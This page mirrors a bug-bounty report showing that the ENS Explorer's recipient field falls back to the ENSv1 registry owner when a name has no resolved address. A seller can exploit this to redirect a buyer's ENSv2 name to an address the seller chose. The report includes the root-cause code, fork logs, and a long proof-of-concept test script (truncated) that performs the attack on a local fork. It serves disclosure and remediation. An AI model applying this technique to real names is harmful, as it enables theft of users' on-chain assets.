Skip to content
Access control Audit finding Advanced

Explorer transfers a user s ensv2 name to a separate address the seller selected before the sale

The ENS Explorer's recipient resolver falls back to the ENSv1 registry-owner slot when the Universal Resolver returns no address, so a seller can set that slot to an address they control and sell the name. When the buyer later types that name into the transfer form, the app shows the seller's address as the recipient and sends the buyer's separate ENSv2 name to it.

v4rvl Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

92880 w a critical explorer transfers a user s ensv2 name to a separate address the seller selected before the sale

Submitted on Sep 13th 2026 at 01:52:52 UTC by @v4rvl for Audit Competition | ENS

  • Report ID: #92880
  • Report Type: Websites & Apps
  • Report severity: Critical
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
  • Impacts:
    • Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves

Description

Summary

An ENSv1 seller can choose a separate address, place it in the name's registry-owner slot with BaseRegistrar.reclaim, clear the resolver, and then sell the ERC-721. The Explorer later treats that registry controller as though it were the name's resolved address.

The buyer controls two accounts. Their recipient account buys the ENSv1 name, while their connected account holds an ENSv2 name. When they enter the ENSv1 name to move the ENSv2 name between those accounts, Explorer displays the seller's chosen address with no resolution error. The shipped transaction flow transfers the ENSv2 name to that address.

This is a normal account-consolidation action. The recipient control explicitly invites an ENS name or address, and the PoC locates that exact field before typing. A user can enter the name held by their destination account instead of copying its raw address. No attacker-supplied link or off-application transaction is required.

The fork run uses separate private keys for seller 0x221D...5E09, chosen address 0xB3fa...3896, and intended recipient 0x57d6...A470. The seller's key prepares the name and sells it. The chosen address's key later performs successful registry writes. The intended recipient's key repairs the owner slot in the control. The shipped subject flow transfers the user's ENSv2 name to 0xB3fa...3896, while the corrected control transfers a separate name to 0x57d6...A470.

Root cause

The shared name-or-address resolver first asks the Universal Resolver for an address. If that returns nothing, apps/portal/src/features/roles/helpers/addUser.handlers.ts substitutes an ENS owner:

TS
const resolved = await getEnsAddress(client, {
  name: nameOrAddress,
  universalResolverAddress,
})

let resolvedAddress = resolved

if (!resolvedAddress) {
  const ownerResult = await getEnsOwner({ name: nameOrAddress })
  if (ownerResult.isOk()) {
    resolvedAddress = ownerResult.value?.owner ?? null
  }
}

return resolvedAddress

For unwrapped ENSv1 second-level names, ownership has two fields:

  • registrant: the BaseRegistrar ERC-721 holder
  • owner: the ENS registry controller for the name's records

apps/portal/src/utils/ens/resolveEnsOwner.ts keeps owner and discards registrant:

TS
const v1Owner = await getOwnerV1(client, { name })
if (v1Owner?.owner && v1Owner.owner !== zeroAddress) {
  return {
    owner: v1Owner.owner,
    registryAddress: v1EthRegistry,
    protocolVersion: 'ENSv1',
  }
}

The runtime read after the sale shows the two fields directly:

[2 SALE] ensjs getOwner v1 = {"registrant":"0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470","owner":"0xB3fa1A82fD6b67accF1689cfB285e49233023896","ownershipLevel":"registrar"}

The transfer form consumes that fallback result without distinguishing it from a real resolution. apps/portal/src/features/transfer/components/SendNameForm.tsx uses it as recipient:

TS
const resolution = useAddressResolution(recipientInput)
const { address: recipient, isResolving } = resolution

const runTransfer = () => {
  if (!recipient || !canStart) return
  startTransfer({ recipient, options: effectiveOptions })
}

The final transfer helper encodes the same recipient into the ERC-1155 transfer:

TS
const data = encodeFunctionData({
  abi: erc1155Abi,
  functionName: 'safeTransferFrom',
  args: [walletWithAccount.account.address, recipient, tokenId, 1n, '0x'],
})

The ENS contracts behave as designed. The application defect is treating the ENSv1 registry controller as a resolved recipient when the Universal Resolver returned no address.

Measured execution

The subject, nike.eth, existed before the run. At the fork pin it was unwrapped, unexpired, held by a plain EOA, and resolved normally:

[F1] nike.eth at fork block 11692642 (chain timestamp 1789262136): registrant=0x7F1266aa4E48567f42E02E9dA040eeec33EDd5Cb registryOwner=0x7F1266aa4E48567f42E02E9dA040eeec33EDd5Cb v1Resolver=0x8FADE66B79cC9f707aB26799354482EB93a5B7dD expires=2231014824
[F1] universalResolver addr(60) at the pin = 0x7F1266aa4E48567f42E02E9dA040eeec33EDd5Cb

After the seller acquired it, three signed writes created the condition and selected a distinct destination:

[1 SELECT] write 0: BaseRegistrar.reclaim(labelhash, 0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09) sent by 0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09 status=success; registryOwner read back = 0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09
[1 SELECT] write 1: ENS.setResolver(node, 0x0) sent by 0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09 status=success
[1 SELECT] after write 1: registryOwner=0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09 v1Resolver=0x0000000000000000000000000000000000000000 universalResolver addr(60) = null app getResolvedAddress = 0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09
[1 SELECT] write 2: BaseRegistrar.reclaim(labelhash, 0xB3fa1A82fD6b67accF1689cfB285e49233023896) sent by 0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09 status=success
[1 SELECT] after write 2: registrant=0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09 registryOwner=0xB3fa1A82fD6b67accF1689cfB285e49233023896 v1Resolver=0x0000000000000000000000000000000000000000
[1 SELECT] after write 2: universalResolver addr(60) = null app getResolvedAddress = 0xB3fa1A82fD6b67accF1689cfB285e49233023896

The final reclaim is the selection. Its address argument is neither the registrant, the prior slot holder, nor the sender. Reclaim preserves the zero resolver, so the application immediately changes its answer to the selected address.

The seller then transfers the ENSv1 ERC-721 to the victim:

[2 SALE] transferFrom(0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09 -> 0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470) sent by 0x221D82a4241D9a8DC0e3f8b7E3ad63d8E4E15E09 status=success
[2 SALE] registrant now=0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470 v1RegistryOwner still=0xB3fa1A82fD6b67accF1689cfB285e49233023896
[2 SALE] app getResolvedAddress before=0xB3fa1A82fD6b67accF1689cfB285e49233023896 after=0xB3fa1A82fD6b67accF1689cfB285e49233023896

The chosen address then signs two registry writes after the sale. Both succeed, and the second restores the zero-resolver condition:

[3 AUTH] SELECTED ENS.setResolver(non-zero) status=success; resolver read back = 0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85
[3 AUTH] SELECTED ENS.setResolver(0x0) status=success; resolver read back = 0x0000000000000000000000000000000000000000
[3 AUTH] registrant unchanged = 0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470; app getResolvedAddress = 0xB3fa1A82fD6b67accF1689cfB285e49233023896

The user controls both the connected sender and the separate account holding the typed ENSv1 name. The shipped route renders neither account. It renders the selected address, enables the button, runs its default plan, and transfers the token:

[4 before] {"name":"plant62161143a.eth","typed":"nike.eth","latestOwner":"0x2fd788a75945F47291b7CB32723a914e162b2262","balVictim":"1","balAttacker":"0","balSelected":"0","typedNameRegistrant":"0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470","typedNameRegistryOwner":"0xB3fa1A82fD6b67accF1689cfB285e49233023896"}
[4A route] {"pathname":"/plant62161143a.eth/ownership/transfer","formRendered":true,"irreversibilityWarningRendered":true,"ownerGateRefused":false,"roleGateRefused":false,"walletNotConnected":false}
[4B field] {"typed":"nike.eth","fieldText":"Recipient0xB3fa1A82fD6b67accF1689cfB285e49233023896","fullAddressesRendered":["0xB3fa1A82fD6b67accF1689cfB285e49233023896"],"rendersAttacker":false,"rendersSelected":true,"rendersVictim":false,"rendersVictimRecipient":false,"couldNotResolveLines":0,"selfRefusal":false,"zeroRefusal":false,"transferButtonEnabled":true}
[4C flow] {"iterations":4,"stepLabelsSeen":["Detach resolver","Transfer name"]}
[4C TransferSingle] {"moves":[{"txHash":"0x2864ec33420abbfe6116769153c61ad468361133ea77af6d1f48e521b1f4ef99","from":"0x2fd788a75945F47291b7CB32723a914e162b2262","to":"0xB3fa1A82fD6b67accF1689cfB285e49233023896","id":"76519069716411153654304546449785477817012813006070165002172779298550399893504"}]}
[4 TERMINAL] {"name":"plant62161143a.eth","latestOwner":"0xB3fa1A82fD6b67accF1689cfB285e49233023896","balVictim":"0","balAttacker":"0","balSelected":"1"}
[4 RECOVERY] {"hasRoles(ROLE_CAN_TRANSFER_ADMIN, VICTIM)":false,"hasRoles(ROLE_CAN_TRANSFER_ADMIN, SELECTED)":true,"VICTIM safeTransferFrom(SELECTED -> VICTIM) status":"reverted","balVictimAfterClawbackAttempt":"0","balAttackerAfterClawbackAttempt":"0","balSelectedAfterClawbackAttempt":"1"}

The seller receives nothing. The separate selected address receives the name and becomes its owner.

One-condition control

The victim's intended recipient account calls BaseRegistrar.reclaim on the same ENSv1 name. That changes only the registry-owner slot. The registrant remains 0x57d6...A470, and the resolver remains zero.

The same connected account enters the same name in the same form for a separate control token. This time the field displays 0x57d6...A470, and the shipped flow transfers the control token to that intended account:

[5 CONTROL] executed endpoint: BaseRegistrar(0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85).reclaim(labelhash, 0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470) from 0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470 status=success
[5 CONTROL] v1RegistryOwner before=0xB3fa1A82fD6b67accF1689cfB285e49233023896 after=0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470; registrant unchanged=0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470; resolver still=0x0000000000000000000000000000000000000000
[5 CONTROL] app getResolvedAddress before=0xB3fa1A82fD6b67accF1689cfB285e49233023896 after=0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470
[5 CONTROL] SELECTED ENS.setResolver on the same name after reclaim status=reverted
[5B field] {"typed":"nike.eth","fieldText":"Recipient0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470","fullAddressesRendered":["0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470"],"rendersAttacker":false,"rendersSelected":false,"rendersVictim":false,"rendersVictimRecipient":true,"couldNotResolveLines":0,"selfRefusal":false,"zeroRefusal":false,"transferButtonEnabled":true}
[5C TransferSingle] {"moves":[{"txHash":"0x3ecf4b1c1f42a36df97eb72e5abebaf8529abbf1e2964b41e089064bf3034096","from":"0x2fd788a75945F47291b7CB32723a914e162b2262","to":"0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470","id":"8205197421965058777301394699707773939547840151203270104235664300630486286336"}]}
[5 TERMINAL] {"name":"plant62161143b.eth","latestOwner":"0x57d6759c3bd4f79f5997F8f3BbD5D88030fBA470","balVictim":"0","balVictimRecipient":"1","balAttacker":"0"}

Preconditions and limits

  • The attacker must control an unwrapped ENSv1 second-level name, prepare its registry-owner and resolver state, and sell it to one of the victim's accounts.
  • The victim must later use that purchased name in Explorer's ENS name or address recipient field while transferring a separate ENSv2 name from another account, such as when consolidating assets.
  • The victim interacts with the application and approves the displayed flow. This report does not claim a zero-interaction action.
  • The application displays the full address and a general irreversibility warning. It does not disclose the failed name resolution or the owner substitution.
  • The buyer can repair the ENSv1 state on chain by calling reclaim before using the name. The Explorer neither performs that call nor blocks this transfer while it remains outstanding.

A second control enters a syntactically valid name for which the complete resolution chain returns null. The app uses its declared unresolved state, prints Could not resolve an address, disables the button, and emits no transfer:

[6 REFUSE] plant62161143z.eth v1RegistryOwner=0x0000000000000000000000000000000000000000 app getResolvedAddress = null
[6B field] {"couldNotResolveLines":1,"transferButtonEnabled":false}
[6 TERMINAL] {"name":"plant62161143c.eth","latestOwner":"0x2fd788a75945F47291b7CB32723a914e162b2262","balVictim":"1","balAttacker":"0","movesOfThisToken":0}

These controls isolate the stale owner slot. With that slot corrected, the same form and transaction plan send the control name to the intended account. With no fallback value, the app refuses to transfer.

Why this matches Critical

The claimed row is:

Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: resolving or rendering an ENS name to an attacker-controlled address; showing the wrong recipient or amount on a transaction the user then approves.

Predicate Measurement
The application displays an address The Recipient field renders the full chosen address 0xB3fa...3896.
The address is incorrect for the typed name The Universal Resolver returns null, and the name's ERC-721 registrant is the victim-controlled intended account 0x57d6...A470, not 0xB3fa...3896.
The address is attacker-controlled The seller selects it as the free address argument to reclaim before the victim owns the name. The address later signs two successful registry writes.
The user submits a transaction The shipped transfer flow emits TransferSingle from the victim.
The transaction reaches the unintended recipient The event recipient, latestOwner, and closing balance all name 0xB3fa...3896. The victim closes at zero.
Causality Changing only the registry-owner slot from 0xB3fa...3896 to 0x57d6...A470 makes the same form transfer a control token to 0x57d6...A470.

Scope and test fidelity

All defective code is in apps/portal. The test uses the shipped route, form, resolution helpers, plan builder, transfer helper, and transaction modal. It contains no vi.mock call and replaces no application module or contract behavior.

The ENSv1 name already exists on Sepolia, and the test neither registers one nor grants a legacy controller. The seller, selected address, and intended victim recipient use separate private keys. Anvil impersonation is limited to fixture setup by the existing holder and ENSv2 registrar. A fetch guard permits only 127.0.0.1:8664, so no transaction reaches a public network.

Proof of Concept

Steps to reproduce

  1. From the audited repository root, start a fresh private fork:
Shell
anvil --fork-url https://ethereum-sepolia-rpc.publicnode.com \
  --port 8664 --chain-id 11155111 --auto-impersonate --silent
  1. Save the proof below as apps/portal/src/poc_92616plant/plant_by_reclaim_moves_the_name.poc.test.tsx.
  2. Run:
Shell
pnpm --filter portal exec vitest run \
  src/__poc_92616plant__/plant_by_reclaim_moves_the_name.poc.test.tsx \
  --no-file-parallelism --reporter=verbose --silent=false

A fresh run produced:

Test Files  1 passed (1)
Tests       7 passed (7)
Duration    51.47s

The test derives its ENSv2 labels from the current time, so label names, token IDs, blocks, and transaction hashes change between runs. The actor addresses, state transitions, balances, event destinations, role booleans, and verdicts remain invariant.

Proof of concept

apps/portal/src/__poc_92616plant__/plant_by_reclaim_moves_the_name.poc.test.tsx

TSX
/** @vitest-environment happy-dom */

import { extendChainWithEns } from '@ensdomains/ensjs/chain'
import { getOwner as getOwnerV1 } from '@ensdomains/ensjs/public/v1'
import {
  getTokenId as ensjsGetTokenId,
  hasRoles as ensjsHasRoles,
} from '@ensdomains/ensjs/public/v2'
import { permissionedRegistryGetStateSnippet } from '@ensdomains/ensjs-abi/v2/permissionedRegistry'
import { proxyDeployedEventSnippet } from '@ensdomains/ensjs-abi/v2/verifiableFactory'
import {
  createMemoryHistory,
  createRouter,
  RouterProvider,
} from '@tanstack/react-router'
import { render, waitFor } from '@testing-library/react'
import userEvent from '@testing-library/user-event'
import {
  type Address,
  createPublicClient,
  createWalletClient,
  decodeEventLog,
  encodeFunctionData,
  erc1155Abi,
  getAddress,
  type Hex,
  http,
  keccak256,
  namehash,
  type PublicClient,
  parseAbi,
  toHex,
  zeroAddress,
} from 'viem'
import { type PrivateKeyAccount, privateKeyToAccount } from 'viem/accounts'
import { getEnsAddress } from 'viem/actions'
import { sepolia } from 'viem/chains'
import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'

const FORK = 'http://127.0.0.1:8664'
const ALLOWED_HOST = '127.0.0.1:8664'

// ---------------------------------------------------------------------------
// fetch guard, module scope so it precedes every import-time transport
// ---------------------------------------------------------------------------
const refusedHosts: string[] = []
let allowedRequests = 0
const realFetch = globalThis.fetch
globalThis.fetch = (async (input: RequestInfo | URL, init?: RequestInit) => {
  const url =
    typeof input === 'string'
      ? input
      : input instanceof URL
        ? input.href
        : input.url
  let host = ''
  try {
    host = new URL(url).host
  } catch {
    host = String(url)
  }
  if (host !== ALLOWED_HOST) {
    refusedHosts.push(host)
    throw new Error(`[92616plant] refused non-fork host: ${host}`)
  }
  allowedRequests += 1
  return realFetch(input, init)
}) as typeof fetch

// ---------------------------------------------------------------------------
// fixture identities. Lane-namespaced keys; NEVER anvil #0/#1, which carry an
// EIP-7702 delegation designator on this Sepolia fork (asserted in F0).
//
// There is no MINTER in this run and no ENSv1 registration. The ENSv1 name is
// one that already exists at the fork block; SELLER is read off the chain as
// its current ERC-721 holder.
// ---------------------------------------------------------------------------
const ATTACKER_ACCOUNT = privateKeyToAccount(
  keccak256(toHex('92616plant-attacker-v1')),
)
const ATTACKER: Address = getAddress(ATTACKER_ACCOUNT.address)
const VICTIM_ACCOUNT = privateKeyToAccount(
  keccak256(toHex('92616plant-victim-v1')),
)
const VICTIM: Address = getAddress(VICTIM_ACCOUNT.address)
// A second account controlled by the same user. It buys the ENSv1 name and is
// the intended recipient when VICTIM transfers an ENSv2 name between accounts.
const VICTIM_RECIPIENT_ACCOUNT = privateKeyToAccount(
  keccak256(toHex('92616plant-victim-recipient-v1')),
)
const VICTIM_RECIPIENT: Address = getAddress(VICTIM_RECIPIENT_ACCOUNT.address)
// A second address controlled by ATTACKER. ATTACKER writes this address into
// the ENSv1 registry-owner slot before the sale, and the application later
// delivers the victim's ENSv2 name to it.
const ATTACKER_ALT_ACCOUNT = privateKeyToAccount(
  keccak256(toHex('92616plant-attacker-alt-v1')),
)
const ATTACKER_ALT: Address = getAddress(ATTACKER_ALT_ACCOUNT.address)

// The app reads these at module scope, so they are set before any import of
// `@/lib/wagmi` or `@/lib/mockWallet.mock`. `VITE_USE_MOCK_WALLET` is the
// repository's own local-development flag; `mockWallet.mock.ts:5-12` documents
// it and says to point `VITE_SEPOLIA_RPC_URL` at a local node.
vi.stubEnv('VITE_SEPOLIA_RPC_URL', FORK)
vi.stubEnv('VITE_USE_MOCK_WALLET', 'true')
vi.stubEnv('VITE_MOCK_ACCOUNT', VICTIM)

// The ENSv1 subject. Registered on Sepolia before this run, unwrapped, held by
// an externally owned account, and resolving normally at the fork block. Every
// one of those properties is read back and asserted in F1.
const V1_LABEL = 'nike'
const V1_NAME = `${V1_LABEL}.eth`
const SUFFIX = String(Date.now()).slice(-8)
const ABSENT = `plant${SUFFIX}z.eth`
const V2_SUBJECT_A = `plant${SUFFIX}a`
const V2_CONTROL = `plant${SUFFIX}b`
const V2_REFUSAL = `plant${SUFFIX}c`
const V2_LABELS = [V2_SUBJECT_A, V2_CONTROL, V2_REFUSAL]

// contract addresses, all from the apps' own chain configs
const V1_REGISTRY: Address = '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e'
const V1_BASE_REGISTRAR: Address = '0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85'
const NAME_WRAPPER: Address = '0x0635513f179D50A207757E05759CbD106d7dFcE8'
const V2_ETH_REGISTRY: Address = '0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2'
const V2_ETH_REGISTRAR: Address = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'
const VERIFIABLE_FACTORY: Address = '0x10dC6333CDFe1FCEf624c6e0a8221b91804Cd7ef'
const PERMISSIONED_RESOLVER_IMPL: Address =
  '0x9EAe5C2730a7dD16BDD1DeE6421a1B91e3B0365e'

// registration.actors.ts:71-73
const DEDICATED_RESOLVER_ROLE_BITMAP = BigInt(
  '0x1111111111111111111111111111111111111111111111111111111111111111',
)
const ROLE_SET_RESOLVER = 1n << 24n
const ROLE_SET_RESOLVER_ADMIN = 1n << 152n
const ROLE_SET_SUBREGISTRY = 1n << 20n
const ROLE_SET_SUBREGISTRY_ADMIN = 1n << 148n
const ROLE_CAN_TRANSFER_ADMIN = (1n << 28n) << 128n
const ROLE_BITMAP =
  ROLE_SET_RESOLVER |
  ROLE_SET_RESOLVER_ADMIN |
  ROLE_SET_SUBREGISTRY |
  ROLE_SET_SUBREGISTRY_ADMIN |
  ROLE_CAN_TRANSFER_ADMIN
const TEN_YEARS = 315_360_000n

const forkChain = extendChainWithEns(sepolia)
const pub = createPublicClient({
  chain: forkChain,
  transport: http(FORK),
}) as PublicClient

const rpc = (method: string, params: unknown[]) =>
  fetch(FORK, {
    method: 'POST',
    headers: { 'content-type': 'application/json' },
    body: JSON.stringify({ jsonrpc: '2.0', id: 1, method, params }),
  }).then(
    (r) =>
      r.json() as Promise<{
        result?: string
        error?: { code?: number; message?: string; data?: unknown }
      }>,
  )

const sendFrom = async (
  from: Address,
  to: Address,
  data: string,
  gas = '0x2DC6C0',
) => {
  const r = await rpc('eth_sendTransaction', [{ from, to, data, gas }])
  await rpc('evm_mine', [])
  if (!r.result) {
    return {
      status: 'rpc-rejected' as const,
      hash: null,
      rpcMessage: r.error?.message ?? null,
      revertData: (r.error?.data ?? null) as string | null,
    }
  }
  const receipt = await pub.getTransactionReceipt({
    hash: r.result as `0x${string}`,
  })
  return {
    status: receipt.status,
    hash: r.result as `0x${string}`,
    rpcMessage: null,
    revertData: null,
  }
}

const sendSigned = async (
  account: PrivateKeyAccount,
  to: Address,
  data: Hex,
  gas = 3_000_000n,
) => {
  const wallet = createWalletClient({
    account,
    chain: forkChain,
    transport: http(FORK),
  })
  const hash = await wallet.sendTransaction({ to, data, gas })
  const receipt = await pub.waitForTransactionReceipt({ hash })
  return { status: receipt.status, hash }
}

const registryAbi = parseAbi([
  'function owner(bytes32 node) view returns (address)',
  'function resolver(bytes32 node) view returns (address)',
  'function setResolver(bytes32 node, address resolver)',
])
const registrarAbi = parseAbi([
  'function owner() view returns (address)',
  'function ownerOf(uint256 id) view returns (address)',
  'function nameExpires(uint256 id) view returns (uint256)',
  'function controllers(address) view returns (bool)',
  'function transferFrom(address from, address to, uint256 id)',
  'function reclaim(uint256 id, address owner)',
])
const v2RegisterAbi = parseAbi([
  'function register(string label, address owner, address registry, address resolver, uint256 roleBitmap, uint64 expiry) returns (uint256)',
])
const liveResolverAbi = parseAbi([
  'function getResolver(string) view returns (address)',
])

const labelhashOf = (label: string) => BigInt(keccak256(toHex(label)))

const getState = (tokenId: bigint) =>
  pub.readContract({
    address: V2_ETH_REGISTRY,
    abi: permissionedRegistryGetStateSnippet,
    functionName: 'getState',
    args: [tokenId],
  })

const balanceOf = (owner: Address, tokenId: bigint) =>
  pub.readContract({
    address: V2_ETH_REGISTRY,
    abi: erc1155Abi,
    functionName: 'balanceOf',
    args: [owner, tokenId],
  })

const tokenIdOnChain = (label: string) =>
  ensjsGetTokenId(pub as never, { label, registryAddress: V2_ETH_REGISTRY })

const registryResolverOf = (label: string) =>
  pub.readContract({
    address: V2_ETH_REGISTRY,
    abi: liveResolverAbi,
    functionName: 'getResolver',
    args: [label],
  }) as Promise<Address>

const jsonBig = (v: unknown) =>
  JSON.stringify(v, (_k, val) =>
    typeof val === 'bigint' ? val.toString() : val,
  )

const v1State = async (name: string, label: string) => {
  const node = namehash(name)
  const [registryOwner, resolver, registrant] = await Promise.all([
    pub.readContract({
      address: V1_REGISTRY,
      abi: registryAbi,
      functionName: 'owner',
      args: [node],
    }),
    pub.readContract({
      address: V1_REGISTRY,
      abi: registryAbi,
      functionName: 'resolver',
      args: [node],
    }),
    pub.readContract({
      address: V1_BASE_REGISTRAR,
      abi: registrarAbi,
      functionName: 'ownerOf',
      args: [labelhashOf(label)],
    }),
  ])
  return { registrant, registryOwner, resolver }
}

const deployDedicatedResolver = async (
  seed: string,
  owner: Address,
): Promise<Address> => {
  const block = await pub.getBlock({ blockTag: 'latest' })
  const salt = BigInt(keccak256(toHex(`${seed}-${block.number}`)))
  const data = encodeFunctionData({
    abi: parseAbi([
      'function deployProxy(address implementation, uint256 salt, bytes data) returns (address)',
    ]),
    functionName: 'deployProxy',
    args: [
      PERMISSIONED_RESOLVER_IMPL,
      salt,
      encodeFunctionData({
        abi: parseAbi([
          'function initialize(address owner, uint256 bitmap, bytes[] setters)',
        ]),
        functionName: 'initialize',
        args: [owner, DEDICATED_RESOLVER_ROLE_BITMAP, []],
      }),
    ],
  })
  const res = await sendFrom(owner, VERIFIABLE_FACTORY, data)
  expect(res.status).toBe('success')
  if (!res.hash) throw new Error(`missing deployment hash for ${seed}`)
  const receipt = await pub.getTransactionReceipt({ hash: res.hash })
  const topic0 = keccak256(
    toHex('ProxyDeployed(address,address,uint256,address)'),
  )
  for (const log of receipt.logs) {
    try {
      const decoded = decodeEventLog({
        abi: [proxyDeployedEventSnippet],
        data: log.data,
        topics: log.topics,
      })
      if (decoded.eventName === 'ProxyDeployed') {
        return (decoded.args as { proxyAddress: Address }).proxyAddress
      }
    } catch {
      // fall through to the topic match below
    }
  }
  for (const log of receipt.logs) {
    if (
      log.address.toLowerCase() === VERIFIABLE_FACTORY.toLowerCase() &&
      log.topics[0] === topic0 &&
      log.topics.length >= 3
    ) {
      return getAddress(`0x${log.topics[2].slice(-40)}`)
    }
  }
  throw new Error(`no ProxyDeployed event for ${seed}`)
}

// ---------------------------------------------------------------------------
// modules that read the wagmi config must load AFTER the env is set
// ---------------------------------------------------------------------------
// biome-ignore lint/suspicious/noExplicitAny: generated route tree
let routeTree: any
// biome-ignore lint/suspicious/noExplicitAny: app query client
let appQueryClient: any
// biome-ignore lint/suspicious/noExplicitAny: ensjs client shape
let ensClient: any
// biome-ignore lint/suspicious/noExplicitAny: app resolution query
let getResolvedAddress: any
let universalResolverAddress: Address

const ids: Record<string, bigint> = {}
let SELLER: Address = zeroAddress

const appAnswerFor = async (nameOrAddress: string) => {
  appQueryClient.clear()
  const result = await getResolvedAddress({ nameOrAddress })
  return result.isOk() ? String(result.value) : `ERR ${String(result.error)}`
}

const urAddrFor = async (name: string) =>
  getEnsAddress(pub, { name, universalResolverAddress }).catch(
    (e) => `THREW ${String(e).slice(0, 80)}`,
  )

beforeAll(async () => {
  expect(await pub.getChainId()).toBe(11155111)

  // hazard 7: an account carrying a 7702 delegation designator makes every
  // ERC-1155 receive revert ERC1155InvalidReceiver, which reads exactly like an
  // authorization failure. Assert every fixture account is a plain EOA.
  for (const [who, addr] of [
    ['ATTACKER', ATTACKER],
    ['ATTACKER_ALT', ATTACKER_ALT],
    ['VICTIM', VICTIM],
    ['VICTIM_RECIPIENT', VICTIM_RECIPIENT],
  ] as const) {
    const code = await pub.getBytecode({ address: addr })
    console.log(`[F0] ${who} ${addr} code = ${code ?? '0x'}`)
    expect(code ?? '0x').toBe('0x')
  }

  const block0 = await pub.getBlock({ blockTag: 'latest' })

  // F1. The ENSv1 subject exists on chain BEFORE this run touches anything.
  // Nothing 

The original report as published on Immunefi, by v4rvl. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the shared name-or-address resolver substitutes the ENSv1 registry owner when address resolution returns null, and the transfer form treats that fallback as a genuine resolved recipient.

Impact

The buyer's ENSv2 name is transferred to the seller-selected address, and the buyer cannot claw it back; the app does show the full address and a general irreversibility warning, and the victim must approve the flow.

What the attacker needed

Attacker owns an unwrapped ENSv1 name; attacker sets owner slot and clears resolver; attacker sells the name to a victim account; victim types that name as recipient

The fix

The resolver should not fall back to the ENSv1 registry owner as a recipient; it should treat a null address resolution as unresolved and block the transfer, or require the buyer to repair the owner slot first.

How it was found

  1. Start a local fork of the Sepolia network.
  2. Save the proof test file into the portal app's source tree.
  3. Run the test with the portal package's test runner.
  4. Observe the seller preparing the name's owner slot and resolver, then selling the name.
  5. Observe the buyer typing the name into the recipient field and the flow transferring the ENSv2 name to the seller's chosen address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An ENS name can point to an address, but it also has an owner record that controls its settings. The app asked the name for its address, got nothing, and quietly used the owner record instead, which the seller had set to their own address. So the buyer saw a plausible-looking address and sent a valuable name to the seller's chosen account.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by v4rvl

View all

20 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.